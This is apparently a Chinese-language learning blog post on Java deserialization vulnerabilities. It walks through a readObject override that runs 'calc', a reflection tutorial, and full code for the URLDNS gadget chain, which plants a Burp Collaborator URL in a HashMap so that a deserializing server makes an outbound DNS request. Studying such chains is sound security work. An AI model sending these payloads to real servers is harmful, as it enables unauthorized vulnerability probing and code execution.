JavaSec反序列化初探(配合URLDNS)
文章目录
- JavaSec反序列化初探(配合URLDNS)
- 基本demo
- Map入口类
- Java反射
基本demo
构建一个demo
实体类:
package bli_seri;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
序列化:
package bli_seri;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("happy", 40);
//正常打印
System.out.println(person);
//序列化
// serialize(person);
}
}
反序列化:
package bli_seri;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person) unserialize("ser.bin");
System.out.println(person);
}
}
能反序列化成功 有一个要求
这个实体类 必须实现这个接口
尝试去掉以后就会报错:
虽然这个接口是空的,但是必须要声明一下
注意点:当使用transient
标记时 不会被序列化存储
反序列化产生安全问题的原因:
服务端反序列化数据,其中传递类的readObject中的代码会自动执行,下面给个弹计算机的例子
在待反序列化的实体类中 重写readObject方法
代码如下:
package bli_seri;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private transient String name;
private int age;
public Person(){
}
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
有趣的点:
这里虽然说着重写readObject方法,但是为什么没有加Override的注解,这里的重写,真的是重写方法的意思吗
去看实体类中的奇怪接口Serializable的文档 看到我们readObject方法
翻译开头:在序列化和反序列化过程中需要特殊处理的类必须实现具有以下确切签名的特殊方法:
这里所说的重写
readObject()
方法,并不是说重写父类中的方法,而是我们自定义个一个private修饰的readObject()
方法,在反序列化的过程中检测到我们程序中存在private修饰的readObject()
方法,就会去调用我们自定义的readObject()
方法,如果没检测到,则将调用默认的defaultReadFields
方法来读取目标类中的属性。参考:https://xz.aliyun.com/t/14544?time__1311=GqAhDIkGkFGXwqeu4Yq7KG%3DmMizNDRO7bD
成功弹计算器了
但是上面这种如此直白的 肯定一般不存在,我们都需要找一个入口类,下面介绍一个初级的入口类
三步走战略:
入口类Source => 调用链Gadget chain => 执行类 sink
Map入口类
在HashMap.java中存在重写
看一个实例 URLDNS
效果:服务器接收到传入的值,然后反序列化后,收到对服务器发起的请求,证明服务器存在反序列化漏洞
先理解一下URL
实现了Serializable 可以进行反序列化 有希望!
去URL中有一个hashCode方法
这个方法的 先验证hashCode是否为-1 如果不等于-1 直接返回hashCode值
否则进入handler中的hashCode方法
注意:这里的默认初始值是-1
下面对这个序列化的过程 打个断点调试一下
put之前 hashCode还是-1
我们的本意想法是,注入一个恶意的访问地址,然后序列化传入,在服务器反序列化解析时发起请求
只要执行 调用hash函数 => 此时hashcode还是-1 => 调用hashCode方法 => 发起DNS请求(误导)
所以这里在序列化的时候,在本地就会请求一次,下面进行证明:
利用burp生成一个验证网址
序列化代码
package bli_seri;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("happy", 40);
//创建一个hashMap 类型是URL 和 整数类
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// -1
hashMap.put(new URL("http://eo63b7ig3mijlg6o44imrl6mpdv4jt.burpcollaborator.net"),1);
serialize(hashMap);
}
}
序列化成功捕获 但是不清楚为什么这么多
这个地方做一个避坑,一开始开代理了,导致burp一直收不到
但是执行结束后,hashCode变成其他值(一put 就改变)
导致反序列化时 根本收不到请求
那么如何才能成功利用呢
- 在put时不要发起请求,导致误导我们
- put之后吧hashCode改回-1 => 通过java的反射技术 改变已有对象的属性
Java反射
继上次 URLDNS的利用 想要继续操作 就要学习java反射
注意点:
四步走战略
- 反射就是操作Class
- 从原型Class里面实例化对象
- 获取类里面的属性
- 调用类里面的方法
实例:
package bli_seri;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception{
Person person = new Person();
System.out.println(person);
//1. 反射就是操作Class
//获取原型Class
Class c = person.getClass();
//2. 从原型Class 里面实例化对象 参数分别是对应值的类型 String int
Constructor personconstructor = c.getConstructor(String.class, int.class);
//赋值
Person p = (Person) personconstructor.newInstance("newhappy",22);
System.out.println(p);
//3. 获取类里面属性 注意:这里getFields只能获得属性为public的
//使用getDeclaredFields就会全部打印
Field[] personfields = c.getDeclaredFields();
for(Field f : personfields){
System.out.println(f);
}
//修改值
//public String name的值
Field namefield = c.getField("name");
namefield.set(p,"newnewhappy");
System.out.println(p);
//对于私有 private int age 可以设置
Field agefield = c.getDeclaredField("age");
agefield.setAccessible(true);
agefield.set(p, 18);
System.out.println(p);
//4. 调用类里面的方法
//遍历
Method[] personMethods = c.getMethods();
for(Method m : personMethods){
System.out.println(m);
}
//单独public输出
// Method actionmethod = c.getMethod("action", String.class); //要表明接受什么类型的参数
// actionmethod.invoke(p, "test"); //调用 参数:一个对象 一个参数(调用方法的参数)
//私有输出
Method actionmethod = c.getDeclaredMethod("action", String.class); //要表明接受什么类型的参数
actionmethod.setAccessible(true);
actionmethod.invoke(p, "test"); //调用 参数:一个对象 一个参数(调用方法的参数)
}
}
掌握了上面的技能,下面对URLDNS的那个进行修改
把URL的注册放到外面,这样在进入put前 我们需要把hashcode进行修改 在这直接插入语句
可以看到new完之后 hashCode值为-1
后面修改成功
最后put结束 改为-1 目的时让反序列化时读取hashcode的值为-1 才能使得反序列化时发起请求
实例代码:
package bli_seri;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("happy", 40);
//创建一个hashMap 类型是URL 和 整数类
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// -1 这里之所以发出请求 是因为put时 hashcode还是-1 所以应该先改hashcode
// hashMap.put(new URL("http://eo63b7ig3mijlg6o44imrl6mpdv4jt.burpcollaborator.net"),1);
//序列化时不应该收到请求
URL url = new URL("http://ddu2067fsl7iafvnt37lgkvleck48t.burpcollaborator.net"); //此时 hashcode被修改 仍为-1 待会put时会发出请求 所以要修改
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,666);
hashMap.put(url, 1);
//利用反射 修改值 把hashcode 改回 -1 这样反序列化时才能收到请求
hashcodeField.set(url,-1);
serialize(hashMap);
}
}
总结一下URLDNS的原理:
在URL类中 有一个危险函数
hashCode()
如果hashCode不为-1 不会触发handler.hashCode
否则hashCode只要为-1 就会触发的话会导致
这个地方发出请求
参考:
漏洞库:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
视频:https://www.bilibili.com/video/BV16h411z7o9/?p=2&spm_id_from=pageDriver&vd_source=a4aea8ec409c6984f7f8011ef9e58ac4